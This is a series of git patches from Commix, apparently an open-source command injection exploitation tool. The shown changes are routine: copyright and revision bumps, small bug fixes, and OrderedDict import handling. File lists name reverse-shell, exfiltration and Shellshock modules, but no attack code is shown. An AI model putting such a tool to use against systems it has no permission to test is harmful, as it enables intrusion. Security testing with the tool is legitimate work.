diff --git a/src/core/tamper/space2htab.py b/src/core/tamper/space2htab.py
index c37d3e4bd9..1c64f58eb7 100644
--- a/src/core/tamper/space2htab.py
+++ b/src/core/tamper/space2htab.py
@@ -3,7 +3,7 @@
"""
This file is part of Commix Project (https://commixproject.com).
-Copyright (c) 2014-2021 Anastasios Stasinopoulos (@ancst).
+Copyright (c) 2014-2022 Anastasios Stasinopoulos (@ancst).
This program is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
diff --git a/src/core/tamper/space2ifs.py b/src/core/tamper/space2ifs.py
index a5d58e1fe1..d2c972843e 100644
--- a/src/core/tamper/space2ifs.py
+++ b/src/core/tamper/space2ifs.py
@@ -3,7 +3,7 @@
"""
This file is part of Commix Project (https://commixproject.com).
-Copyright (c) 2014-2021 Anastasios Stasinopoulos (@ancst).
+Copyright (c) 2014-2022 Anastasios Stasinopoulos (@ancst).
This program is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
diff --git a/src/core/tamper/space2plus.py b/src/core/tamper/space2plus.py
index 16efec438d..86cb38eecb 100644
--- a/src/core/tamper/space2plus.py
+++ b/src/core/tamper/space2plus.py
@@ -3,7 +3,7 @@
"""
This file is part of Commix Project (https://commixproject.com).
-Copyright (c) 2014-2021 Anastasios Stasinopoulos (@ancst).
+Copyright (c) 2014-2022 Anastasios Stasinopoulos (@ancst).
This program is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
diff --git a/src/core/tamper/space2vtab.py b/src/core/tamper/space2vtab.py
index fc6e610e34..0c48259993 100644
--- a/src/core/tamper/space2vtab.py
+++ b/src/core/tamper/space2vtab.py
@@ -3,7 +3,7 @@
"""
This file is part of Commix Project (https://commixproject.com).
-Copyright (c) 2014-2021 Anastasios Stasinopoulos (@ancst).
+Copyright (c) 2014-2022 Anastasios Stasinopoulos (@ancst).
This program is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
diff --git a/src/core/tamper/uninitializedvariable.py b/src/core/tamper/uninitializedvariable.py
index 4d3e8a3f3d..72d9368094 100644
--- a/src/core/tamper/uninitializedvariable.py
+++ b/src/core/tamper/uninitializedvariable.py
@@ -3,7 +3,7 @@
"""
This file is part of Commix Project (https://commixproject.com).
-Copyright (c) 2014-2021 Anastasios Stasinopoulos (@ancst).
+Copyright (c) 2014-2022 Anastasios Stasinopoulos (@ancst).
This program is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
diff --git a/src/core/tamper/xforwardedfor.py b/src/core/tamper/xforwardedfor.py
index 712bd936b7..1db614ebf8 100644
--- a/src/core/tamper/xforwardedfor.py
+++ b/src/core/tamper/xforwardedfor.py
@@ -3,7 +3,7 @@
"""
This file is part of Commix Project (https://commixproject.com).
-Copyright (c) 2014-2021 Anastasios Stasinopoulos (@ancst).
+Copyright (c) 2014-2022 Anastasios Stasinopoulos (@ancst).
This program is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
diff --git a/src/core/testing.py b/src/core/testing.py
index ab7ce8547d..30f2b608f7 100644
--- a/src/core/testing.py
+++ b/src/core/testing.py
@@ -3,7 +3,7 @@
"""
This file is part of Commix Project (https://commixproject.com).
-Copyright (c) 2014-2021 Anastasios Stasinopoulos (@ancst).
+Copyright (c) 2014-2022 Anastasios Stasinopoulos (@ancst).
This program is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
diff --git a/src/thirdparty/__init__.py b/src/thirdparty/__init__.py
index b50e6972c9..7ce1185b92 100644
--- a/src/thirdparty/__init__.py
+++ b/src/thirdparty/__init__.py
@@ -3,7 +3,7 @@
"""
This file is part of Commix Project (https://commixproject.com).
-Copyright (c) 2014-2021 Anastasios Stasinopoulos (@ancst).
+Copyright (c) 2014-2022 Anastasios Stasinopoulos (@ancst).
This program is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
diff --git a/src/utils/__init__.py b/src/utils/__init__.py
index b50e6972c9..7ce1185b92 100644
--- a/src/utils/__init__.py
+++ b/src/utils/__init__.py
@@ -3,7 +3,7 @@
"""
This file is part of Commix Project (https://commixproject.com).
-Copyright (c) 2014-2021 Anastasios Stasinopoulos (@ancst).
+Copyright (c) 2014-2022 Anastasios Stasinopoulos (@ancst).
This program is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
diff --git a/src/utils/colors.py b/src/utils/colors.py
index 14932f4534..170e024eaa 100644
--- a/src/utils/colors.py
+++ b/src/utils/colors.py
@@ -3,7 +3,7 @@
"""
This file is part of Commix Project (https://commixproject.com).
-Copyright (c) 2014-2021 Anastasios Stasinopoulos (@ancst).
+Copyright (c) 2014-2022 Anastasios Stasinopoulos (@ancst).
This program is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
diff --git a/src/utils/common.py b/src/utils/common.py
index 6ee6d068b6..befb641560 100644
--- a/src/utils/common.py
+++ b/src/utils/common.py
@@ -3,7 +3,7 @@
"""
This file is part of Commix Project (https://commixproject.com).
-Copyright (c) 2014-2021 Anastasios Stasinopoulos (@ancst).
+Copyright (c) 2014-2022 Anastasios Stasinopoulos (@ancst).
This program is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
diff --git a/src/utils/crawler.py b/src/utils/crawler.py
index 529ccaaf66..e4f0d0a91c 100644
--- a/src/utils/crawler.py
+++ b/src/utils/crawler.py
@@ -3,7 +3,7 @@
"""
This file is part of Commix Project (https://commixproject.com).
-Copyright (c) 2014-2021 Anastasios Stasinopoulos (@ancst).
+Copyright (c) 2014-2022 Anastasios Stasinopoulos (@ancst).
This program is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
diff --git a/src/utils/install.py b/src/utils/install.py
index 6c11a7c1d9..4036a289c4 100644
--- a/src/utils/install.py
+++ b/src/utils/install.py
@@ -3,7 +3,7 @@
"""
This file is part of Commix Project (https://commixproject.com).
-Copyright (c) 2014-2021 Anastasios Stasinopoulos (@ancst).
+Copyright (c) 2014-2022 Anastasios Stasinopoulos (@ancst).
This program is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
diff --git a/src/utils/logs.py b/src/utils/logs.py
index f7a9a34275..c9ea825ff8 100755
--- a/src/utils/logs.py
+++ b/src/utils/logs.py
@@ -3,7 +3,7 @@
"""
This file is part of Commix Project (https://commixproject.com).
-Copyright (c) 2014-2021 Anastasios Stasinopoulos (@ancst).
+Copyright (c) 2014-2022 Anastasios Stasinopoulos (@ancst).
This program is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
diff --git a/src/utils/menu.py b/src/utils/menu.py
index a0c410e1d7..d7eb5926ef 100755
--- a/src/utils/menu.py
+++ b/src/utils/menu.py
@@ -3,7 +3,7 @@
"""
This file is part of Commix Project (https://commixproject.com).
-Copyright (c) 2014-2021 Anastasios Stasinopoulos (@ancst).
+Copyright (c) 2014-2022 Anastasios Stasinopoulos (@ancst).
This program is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
diff --git a/src/utils/purge.py b/src/utils/purge.py
index eda005530a..6c88cffc6a 100644
--- a/src/utils/purge.py
+++ b/src/utils/purge.py
@@ -3,7 +3,7 @@
"""
This file is part of Commix Project (https://commixproject.com).
-Copyright (c) 2014-2021 Anastasios Stasinopoulos (@ancst).
+Copyright (c) 2014-2022 Anastasios Stasinopoulos (@ancst).
This program is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
diff --git a/src/utils/requirments.py b/src/utils/requirments.py
index 1b3c3f13c2..f21690d6fb 100644
--- a/src/utils/requirments.py
+++ b/src/utils/requirments.py
@@ -3,7 +3,7 @@
"""
This file is part of Commix Project (https://commixproject.com).
-Copyright (c) 2014-2021 Anastasios Stasinopoulos (@ancst).
+Copyright (c) 2014-2022 Anastasios Stasinopoulos (@ancst).
This program is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
diff --git a/src/utils/session_handler.py b/src/utils/session_handler.py
index 3027f59de3..aa5353f288 100755
--- a/src/utils/session_handler.py
+++ b/src/utils/session_handler.py
@@ -3,7 +3,7 @@
"""
This file is part of Commix Project (https://commixproject.com).
-Copyright (c) 2014-2021 Anastasios Stasinopoulos (@ancst).
+Copyright (c) 2014-2022 Anastasios Stasinopoulos (@ancst).
This program is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
diff --git a/src/utils/settings.py b/src/utils/settings.py
index 383b26e3aa..e7ffaad40d 100755
--- a/src/utils/settings.py
+++ b/src/utils/settings.py
@@ -3,7 +3,7 @@
"""
This file is part of Commix Project (https://commixproject.com).
-Copyright (c) 2014-2021 Anastasios Stasinopoulos (@ancst).
+Copyright (c) 2014-2022 Anastasios Stasinopoulos (@ancst).
This program is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
@@ -228,7 +228,7 @@ def sys_argv_errors():
VERSION = "v" + VERSION_NUM + "-stable"
else:
VERSION = "v" + VERSION_NUM + "-dev#" + REVISION
-YEAR = "2014-2021"
+YEAR = "2014-2022"
AUTHOR_TWITTER = "@ancst"
APPLICATION_URL = "https://commixproject.com"
APPLICATION_TWITTER = "@commixproject"
diff --git a/src/utils/simple_http_server.py b/src/utils/simple_http_server.py
index 9622665eaa..4306f5145b 100644
--- a/src/utils/simple_http_server.py
+++ b/src/utils/simple_http_server.py
@@ -3,7 +3,7 @@
"""
This file is part of Commix Project (https://commixproject.com).
-Copyright (c) 2014-2021 Anastasios Stasinopoulos (@ancst).
+Copyright (c) 2014-2022 Anastasios Stasinopoulos (@ancst).
This program is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
diff --git a/src/utils/update.py b/src/utils/update.py
index 8b65fc41a6..cfadf978c6 100755
--- a/src/utils/update.py
+++ b/src/utils/update.py
@@ -3,7 +3,7 @@
"""
This file is part of Commix Project (https://commixproject.com).
-Copyright (c) 2014-2021 Anastasios Stasinopoulos (@ancst).
+Copyright (c) 2014-2022 Anastasios Stasinopoulos (@ancst).
This program is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
diff --git a/src/utils/version.py b/src/utils/version.py
index b3497d8eb6..a8a1b6de0e 100644
--- a/src/utils/version.py
+++ b/src/utils/version.py
@@ -3,7 +3,7 @@
"""
This file is part of Commix Project (https://commixproject.com).
-Copyright (c) 2014-2021 Anastasios Stasinopoulos (@ancst).
+Copyright (c) 2014-2022 Anastasios Stasinopoulos (@ancst).
This program is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
From 4dcb469f0e9fc05a9944a4da7cbd91553f7a6cf7 Mon Sep 17 00:00:00 2001
From: stasinopoulos
Date: Sat, 8 Jan 2022 09:53:48 +0200
Subject: [PATCH 041/560] Fixes
https://github.com/commixproject/commix/issues/729
---
src/core/injections/controller/checks.py | 2 +-
src/core/main.py | 2 +-
src/utils/settings.py | 2 +-
3 files changed, 3 insertions(+), 3 deletions(-)
diff --git a/src/core/injections/controller/checks.py b/src/core/injections/controller/checks.py
index cb8acc9dc8..c3b9969377 100755
--- a/src/core/injections/controller/checks.py
+++ b/src/core/injections/controller/checks.py
@@ -835,7 +835,7 @@ def wildcard_character(data):
_ = ""
for data in data.split("\\n"):
# Ignore the Accept HTTP Header
- if not data.startswith("Accept: ") and settings.WILDCARD_CHAR in data :
+ if not data.startswith("Accept: ") and not settings.WILDCARD_CHAR is None and settings.WILDCARD_CHAR in data :
data = data.replace(settings.WILDCARD_CHAR, settings.INJECT_TAG)
_ = _ + data + "\\n"
data = _.rstrip("\\n")
diff --git a/src/core/main.py b/src/core/main.py
index ce537b5c28..e20a5b0db2 100644
--- a/src/core/main.py
+++ b/src/core/main.py
@@ -829,7 +829,7 @@ def main(filename, url):
http_request_method = settings.HTTP_METHOD.upper()
else:
if not menu.options.data or \
- settings.WILDCARD_CHAR in menu.options.url or \
+ not settings.WILDCARD_CHAR is None and settings.WILDCARD_CHAR in menu.options.url or \
settings.INJECT_TAG in menu.options.url or \
[x for x in settings.TEST_PARAMETER if(x + "=" in menu.options.url and not x in menu.options.data)]:
http_request_method = settings.HTTPMETHOD.GET
diff --git a/src/utils/settings.py b/src/utils/settings.py
index e7ffaad40d..8494bf0653 100755
--- a/src/utils/settings.py
+++ b/src/utils/settings.py
@@ -222,7 +222,7 @@ def sys_argv_errors():
DESCRIPTION = "The command injection exploiter"
AUTHOR = "Anastasios Stasinopoulos"
VERSION_NUM = "3.4"
-REVISION = "39"
+REVISION = "40"
STABLE_RELEASE = False
if STABLE_RELEASE:
VERSION = "v" + VERSION_NUM + "-stable"
From 8325ae132f871b36f6bdab60b1c33e5ffd01a0c6 Mon Sep 17 00:00:00 2001
From: stasinopoulos
Date: Sat, 8 Jan 2022 10:39:18 +0200
Subject: [PATCH 042/560] Fixes
https://github.com/commixproject/commix/issues/728
---
src/core/injections/controller/checks.py | 2 +-
src/thirdparty/flatten_json/flatten_json.py | 4 +-
src/thirdparty/odict/__init__.py | 8 ++
src/thirdparty/odict/ordereddict.py | 133 ++++++++++++++++++++
src/thirdparty/six/__init__.py | 1 +
src/utils/settings.py | 2 +-
6 files changed, 146 insertions(+), 4 deletions(-)
create mode 100644 src/thirdparty/odict/__init__.py
create mode 100644 src/thirdparty/odict/ordereddict.py
diff --git a/src/core/injections/controller/checks.py b/src/core/injections/controller/checks.py
index c3b9969377..7d2c4721d5 100755
--- a/src/core/injections/controller/checks.py
+++ b/src/core/injections/controller/checks.py
@@ -29,7 +29,7 @@
from src.utils import menu
from src.utils import settings
from src.utils import simple_http_server
-from collections import OrderedDict
+from src.thirdparty.odict import OrderedDict
from src.core.convert import hexdecode
from src.thirdparty.six.moves import input as _input
from src.thirdparty.six.moves import urllib as _urllib
diff --git a/src/thirdparty/flatten_json/flatten_json.py b/src/thirdparty/flatten_json/flatten_json.py
index 1f4de43438..a3009ed76e 100644
--- a/src/thirdparty/flatten_json/flatten_json.py
+++ b/src/thirdparty/flatten_json/flatten_json.py
@@ -8,8 +8,8 @@
https://github.com/amirziai/flatten
"""
from src.utils import settings
-from collections import Iterable
-from collections import OrderedDict
+from src.thirdparty.odict import OrderedDict
+#from collections import Iterable
def check_if_numbers_are_consecutive(list_):
"""
diff --git a/src/thirdparty/odict/__init__.py b/src/thirdparty/odict/__init__.py
new file mode 100644
index 0000000000..8571776ae4
--- /dev/null
+++ b/src/thirdparty/odict/__init__.py
@@ -0,0 +1,8 @@
+#!/usr/bin/env python
+
+import sys
+
+if sys.version_info[:2] >= (2, 7):
+ from collections import OrderedDict
+else:
+ from ordereddict import OrderedDict
diff --git a/src/thirdparty/odict/ordereddict.py b/src/thirdparty/odict/ordereddict.py
new file mode 100644
index 0000000000..1cdd6f46ed
--- /dev/null
+++ b/src/thirdparty/odict/ordereddict.py
@@ -0,0 +1,133 @@
+# Copyright (c) 2009 Raymond Hettinger
+#
+# Permission is hereby granted, free of charge, to any person
+# obtaining a copy of this software and associated documentation files
+# (the "Software"), to deal in the Software without restriction,
+# including without limitation the rights to use, copy, modify, merge,
+# publish, distribute, sublicense, and/or sell copies of the Software,
+# and to permit persons to whom the Software is furnished to do so,
+# subject to the following conditions:
+#
+# The above copyright notice and this permission notice shall be
+# included in all copies or substantial portions of the Software.
+#
+# THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND,
+# EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES
+# OF MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND
+# NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT
+# HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY,
+# WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING
+# FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR
+# OTHER DEALINGS IN THE SOFTWARE.
+
+try:
+ from UserDict import DictMixin
+except ImportError:
+ try:
+ from collections.abc import MutableMapping as DictMixin
+ except ImportError:
+ from collections import MutableMapping as DictMixin
+
+class OrderedDict(dict, DictMixin):
+
+ def __init__(self, *args, **kwds):
+ if len(args) > 1:
+ raise TypeError('expected at most 1 arguments, got %d' % len(args))
+ try:
+ self.__end
+ except AttributeError:
+ self.clear()
+ self.update(*args, **kwds)
+
+ def clear(self):
+ self.__end = end = []
+ end += [None, end, end] # sentinel node for doubly linked list
+ self.__map = {} # key --> [key, prev, next]
+ dict.clear(self)
+
+ def __setitem__(self, key, value):
+ if key not in self:
+ end = self.__end
+ curr = end[1]
+ curr[2] = end[1] = self.__map[key] = [key, curr, end]
+ dict.__setitem__(self, key, value)
+
+ def __delitem__(self, key):
+ dict.__delitem__(self, key)
+ key, prev, next = self.__map.pop(key)
+ prev[2] = next
+ next[1] = prev
+
+ def __iter__(self):
+ end = self.__end
+ curr = end[2]
+ while curr is not end:
+ yield curr[0]
+ curr = curr[2]
+
+ def __reversed__(self):
+ end = self.__end
+ curr = end[1]
+ while curr is not end:
+ yield curr[0]
+ curr = curr[1]
+
+ def popitem(self, last=True):
+ if not self:
+ raise KeyError('dictionary is empty')
+ if last:
+ key = next(reversed(self))
+ else:
+ key = next(iter(self))
+ value = self.pop(key)
+ return key, value
+
+ def __reduce__(self):
+ items = [[k, self[k]] for k in self]
+ tmp = self.__map, self.__end
+ del self.__map, self.__end
+ inst_dict = vars(self).copy()
+ self.__map, self.__end = tmp
+ if inst_dict:
+ return (self.__class__, (items,), inst_dict)
+ return self.__class__, (items,)
+
+ def keys(self):
+ return list(self)
+
+ setdefault = DictMixin.setdefault
+ update = DictMixin.update
+ pop = DictMixin.pop
+ values = DictMixin.values
+ items = DictMixin.items
+ iterkeys = DictMixin.iterkeys
+ itervalues = DictMixin.itervalues
+ iteritems = DictMixin.iteritems
+
+ def __repr__(self):
+ if not self:
+ return '%s()' % (self.__class__.__name__,)
+ return '%s(%r)' % (self.__class__.__name__, list(self.items()))
+
+ def copy(self):
+ return self.__class__(self)
+
+ @classmethod
+ def fromkeys(cls, iterable, value=None):
+ d = cls()
+ for key in iterable:
+ d[key] = value
+ return d
+
+ def __eq__(self, other):
+ if isinstance(other, OrderedDict):
+ if len(self) != len(other):
+ return False
+ for p, q in zip(self.items(), other.items()):
+ if p != q:
+ return False
+ return True
+ return dict.__eq__(self, other)
+
+ def __ne__(self, other):
+ return not self == other
diff --git a/src/thirdparty/six/__init__.py b/src/thirdparty/six/__init__.py
index 89b2188fd6..bba719bf42 100644
--- a/src/thirdparty/six/__init__.py
+++ b/src/thirdparty/six/__init__.py
@@ -253,6 +253,7 @@ class _MovedItems(_LazyModule):
MovedAttribute("xrange", "__builtin__", "builtins", "xrange", "range"),
MovedAttribute("zip", "itertools", "builtins", "izip", "zip"),
MovedAttribute("zip_longest", "itertools", "itertools", "izip_longest", "zip_longest"),
+ MovedModule("collections_abc", "collections", "collections.abc" if sys.version_info >= (3, 3) else "collections"),
MovedModule("builtins", "__builtin__"),
MovedModule("configparser", "ConfigParser"),
MovedModule("copyreg", "copy_reg"),
diff --git a/src/utils/settings.py b/src/utils/settings.py
index 8494bf0653..4606414bfd 100755
--- a/src/utils/settings.py
+++ b/src/utils/settings.py
@@ -222,7 +222,7 @@ def sys_argv_errors():
DESCRIPTION = "The command injection exploiter"
AUTHOR = "Anastasios Stasinopoulos"
VERSION_NUM = "3.4"
-REVISION = "40"
+REVISION = "41"
STABLE_RELEASE = False
if STABLE_RELEASE:
VERSION = "v" + VERSION_NUM + "-stable"
From d8dc47104a88224e8f6d96b13be7e3849cc9f898 Mon Sep 17 00:00:00 2001
From: stasinopoulos
Date: Sat, 8 Jan 2022 11:54:09 +0200
Subject: [PATCH 043/560] Update regarding
https://github.com/commixproject/commix/commit/8325ae132f871b36f6bdab60b1c33e5ffd01a0c6
---
src/thirdparty/flatten_json/flatten_json.py | 2 +-
src/thirdparty/odict/__init__.py | 5 +-
src/thirdparty/odict/ordereddict.py | 133 --------------------
src/utils/settings.py | 2 +-
4 files changed, 5 insertions(+), 137 deletions(-)
delete mode 100644 src/thirdparty/odict/ordereddict.py
diff --git a/src/thirdparty/flatten_json/flatten_json.py b/src/thirdparty/flatten_json/flatten_json.py
index a3009ed76e..369450bee5 100644
--- a/src/thirdparty/flatten_json/flatten_json.py
+++ b/src/thirdparty/flatten_json/flatten_json.py
@@ -9,7 +9,7 @@
"""
from src.utils import settings
from src.thirdparty.odict import OrderedDict
-#from collections import Iterable
+from src.thirdparty.six.moves import collections_abc as _collections
def check_if_numbers_are_consecutive(list_):
"""
diff --git a/src/thirdparty/odict/__init__.py b/src/thirdparty/odict/__init__.py
index 8571776ae4..a118a02dd2 100644
--- a/src/thirdparty/odict/__init__.py
+++ b/src/thirdparty/odict/__init__.py
@@ -3,6 +3,7 @@
import sys
if sys.version_info[:2] >= (2, 7):
- from collections import OrderedDict
+ from collections import OrderedDict
else:
- from ordereddict import OrderedDict
+ from src.thirdparty.six.moves import collections_abc as _collections
+ from _collections import OrderedDict
diff --git a/src/thirdparty/odict/ordereddict.py b/src/thirdparty/odict/ordereddict.py
deleted file mode 100644
index 1cdd6f46ed..0000000000
--- a/src/thirdparty/odict/ordereddict.py
+++ /dev/null
@@ -1,133 +0,0 @@
-# Copyright (c) 2009 Raymond Hettinger
-#
-# Permission is hereby granted, free of charge, to any person
-# obtaining a copy of this software and associated documentation files
-# (the "Software"), to deal in the Software without restriction,
-# including without limitation the rights to use, copy, modify, merge,
-# publish, distribute, sublicense, and/or sell copies of the Software,
-# and to permit persons to whom the Software is furnished to do so,
-# subject to the following conditions:
-#
-# The above copyright notice and this permission notice shall be
-# included in all copies or substantial portions of the Software.
-#
-# THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND,
-# EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES
-# OF MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND
-# NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT
-# HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY,
-# WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING
-# FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR
-# OTHER DEALINGS IN THE SOFTWARE.
-
-try:
- from UserDict import DictMixin
-except ImportError:
- try:
- from collections.abc import MutableMapping as DictMixin
- except ImportError:
- from collections import MutableMapping as DictMixin
-
-class OrderedDict(dict, DictMixin):
-
- def __init__(self, *args, **kwds):
- if len(args) > 1:
- raise TypeError('expected at most 1 arguments, got %d' % len(args))
- try:
- self.__end
- except AttributeError:
- self.clear()
- self.update(*args, **kwds)
-
- def clear(self):
- self.__end = end = []
- end += [None, end, end] # sentinel node for doubly linked list
- self.__map = {} # key --> [key, prev, next]
- dict.clear(self)
-
- def __setitem__(self, key, value):
- if key not in self:
- end = self.__end
- curr = end[1]
- curr[2] = end[1] = self.__map[key] = [key, curr, end]
- dict.__setitem__(self, key, value)
-
- def __delitem__(self, key):
- dict.__delitem__(self, key)
- key, prev, next = self.__map.pop(key)
- prev[2] = next
- next[1] = prev
-
- def __iter__(self):
- end = self.__end
- curr = end[2]
- while curr is not end:
- yield curr[0]
- curr = curr[2]
-
- def __reversed__(self):
- end = self.__end
- curr = end[1]
- while curr is not end:
- yield curr[0]
- curr = curr[1]
-
- def popitem(self, last=True):
- if not self:
- raise KeyError('dictionary is empty')
- if last:
- key = next(reversed(self))
- else:
- key = next(iter(self))
- value = self.pop(key)
- return key, value
-
- def __reduce__(self):
- items = [[k, self[k]] for k in self]
- tmp = self.__map, self.__end
- del self.__map, self.__end
- inst_dict = vars(self).copy()
- self.__map, self.__end = tmp
- if inst_dict:
- return (self.__class__, (items,), inst_dict)
- return self.__class__, (items,)
-
- def keys(self):
- return list(self)
-
- setdefault = DictMixin.setdefault
- update = DictMixin.update
- pop = DictMixin.pop
- values = DictMixin.values
- items = DictMixin.items
- iterkeys = DictMixin.iterkeys
- itervalues = DictMixin.itervalues
- iteritems = DictMixin.iteritems
-
- def __repr__(self):
- if not self:
- return '%s()' % (self.__class__.__name__,)
- return '%s(%r)' % (self.__class__.__name__, list(self.items()))
-
- def copy(self):
- return self.__class__(self)
-
- @classmethod
- def fromkeys(cls, iterable, value=None):
- d = cls()
- for key in iterable:
- d[key] = value
- return d
-
- def __eq__(self, other):
- if isinstance(other, OrderedDict):
- if len(self) != len(other):
- return False
- for p, q in zip(self.items(), other.items()):
- if p != q:
- return False
- return True
- return dict.__eq__(self, other)
-
- def __ne__(self, other):
- return not self == other
diff --git a/src/utils/settings.py b/src/utils/settings.py
index 4606414bfd..633c888bd3 100755
--- a/src/utils/settings.py
+++ b/src/utils/settings.py
@@ -222,7 +222,7 @@ def sys_argv_errors():
DESCRIPTION = "The command injection exploiter"
AUTHOR = "Anastasios Stasinopoulos"
VERSION_NUM = "3.4"
-REVISION = "41"
+REVISION = "42"
STABLE_RELEASE = False
if STABLE_RELEASE:
VERSION = "v" + VERSION_NUM + "-stable"
From b3166363dc9dfca21e69723afa45d15144e19de0 Mon Sep 17 00:00:00 2001
From: stasinopoulos
Date: Sun, 9 Jan 2022 09:11:21 +0200
Subject: [PATCH 044/560] Minor bug-fix regarding parsing JSON objects.
---
doc/CHANGELOG.md | 1 +
src/core/injections/controller/checks.py | 6 ++++--
src/utils/settings.py | 2 +-
3 files changed, 6 insertions(+), 3 deletions(-)
diff --git a/doc/CHANGELOG.md b/doc/CHANGELOG.md
index 65b2686aa5..02bdfbd41a 100755
--- a/doc/CHANGELOG.md
+++ b/doc/CHANGELOG.md
@@ -1,4 +1,5 @@
## Version 3.4 (TBA)
+* Fixed: Minor bug-fix regarding parsing JSON objects.
* Added: New option ( `--drop-set-cookie`) for ignoring Set-Cookie header from response.
* Added: Support for checking for not declared cookie(s).
* Added: New (hidden) option `--smoke-test` that runs the basic smoke testing.
diff --git a/src/core/injections/controller/checks.py b/src/core/injections/controller/checks.py
index 7d2c4721d5..1123cf5820 100755
--- a/src/core/injections/controller/checks.py
+++ b/src/core/injections/controller/checks.py
@@ -1428,9 +1428,11 @@ def is_JSON_check(parameter):
re.search(settings.JSON_LIKE_RECOGNITION_REGEX, parameter):
return True
except ValueError as err_msg:
+ _ = False
+ if "Expecting" in str(err_msg) and any(_ in str(err_msg) for _ in ("value", "delimiter")):
+ _ = True
if not "No JSON object could be decoded" in str(err_msg) and \
- not "Expecting value" in str(err_msg) and \
- not "Expecting , delimiter" in str(err_msg):
+ not _:
err_msg = "JSON " + str(err_msg) + ". "
print(settings.print_critical_msg(err_msg) + "\n")
raise SystemExit()
diff --git a/src/utils/settings.py b/src/utils/settings.py
index 633c888bd3..68997b2fcf 100755
--- a/src/utils/settings.py
+++ b/src/utils/settings.py
@@ -222,7 +222,7 @@ def sys_argv_errors():
DESCRIPTION = "The command injection exploiter"
AUTHOR = "Anastasios Stasinopoulos"
VERSION_NUM = "3.4"
-REVISION = "42"
+REVISION = "43"
STABLE_RELEASE = False
if STABLE_RELEASE:
VERSION = "v" + VERSION_NUM + "-stable"
From 49de76023728b023b355d70f75e3482081cf5ff4 Mon Sep 17 00:00:00 2001
From: stasinopoulos
Date: Mon, 10 Jan 2022 09:18:29 +0200
Subject: [PATCH 045/560] Minor update
---
src/core/injections/controller/checks.py | 3 +--
src/utils/settings.py | 2 +-
2 files changed, 2 insertions(+), 3 deletions(-)
diff --git a/src/core/injections/controller/checks.py b/src/core/injections/controller/checks.py
index 1123cf5820..656097938c 100755
--- a/src/core/injections/controller/checks.py
+++ b/src/core/injections/controller/checks.py
@@ -51,11 +51,10 @@
import gnureadline as readline
except ImportError:
try:
- import gnureadline as readline
+ import readline
except ImportError:
settings.READLINE_ERROR = True
-
"""
check for not declared cookie(s)
"""
diff --git a/src/utils/settings.py b/src/utils/settings.py
index 68997b2fcf..a836f1bedd 100755
--- a/src/utils/settings.py
+++ b/src/utils/settings.py
@@ -222,7 +222,7 @@ def sys_argv_errors():
DESCRIPTION = "The command injection exploiter"
AUTHOR = "Anastasios Stasinopoulos"
VERSION_NUM = "3.4"
-REVISION = "43"
+REVISION = "44"
STABLE_RELEASE = False
if STABLE_RELEASE:
VERSION = "v" + VERSION_NUM + "-stable"
From a91f105fac85fc34d38a21a22eb46c12831cf2e6 Mon Sep 17 00:00:00 2001
From: stasinopoulos
Date: Tue, 11 Jan 2022 18:14:54 +0200
Subject: [PATCH 046/560] Minor update
---
.../injections/blind/techniques/time_based/tb_handler.py | 3 ++-
.../results_based/techniques/classic/cb_handler.py | 3 ++-
.../results_based/techniques/eval_based/eb_handler.py | 3 ++-
.../injections/semiblind/techniques/file_based/fb_handler.py | 3 ++-
.../semiblind/techniques/tempfile_based/tfb_handler.py | 3 ++-
src/core/modules/dns_exfiltration/dns_exfiltration.py | 3 ++-
src/core/modules/icmp_exfiltration/icmp_exfiltration.py | 3 ++-
src/core/modules/shellshock/shellshock.py | 3 ++-
src/core/shells/bind_tcp.py | 4 ++--
src/core/shells/reverse_tcp.py | 3 ++-
src/utils/settings.py | 5 ++++-
11 files changed, 24 insertions(+), 12 deletions(-)
diff --git a/src/core/injections/blind/techniques/time_based/tb_handler.py b/src/core/injections/blind/techniques/time_based/tb_handler.py
index aabbfb621a..91db9fdc07 100755
--- a/src/core/injections/blind/techniques/time_based/tb_handler.py
+++ b/src/core/injections/blind/techniques/time_based/tb_handler.py
@@ -514,7 +514,8 @@ def tb_injection_handler(url, timesec, filename, http_request_method, url_time_r
try:
if not settings.READLINE_ERROR:
checks.tab_autocompleter()
- cmd = _input("""commix(""" + Style.BRIGHT + Fore.RED + """os_shell""" + Style.RESET_ALL + """) > """)
+ sys.stdout.write(settings.OS_SHELL)
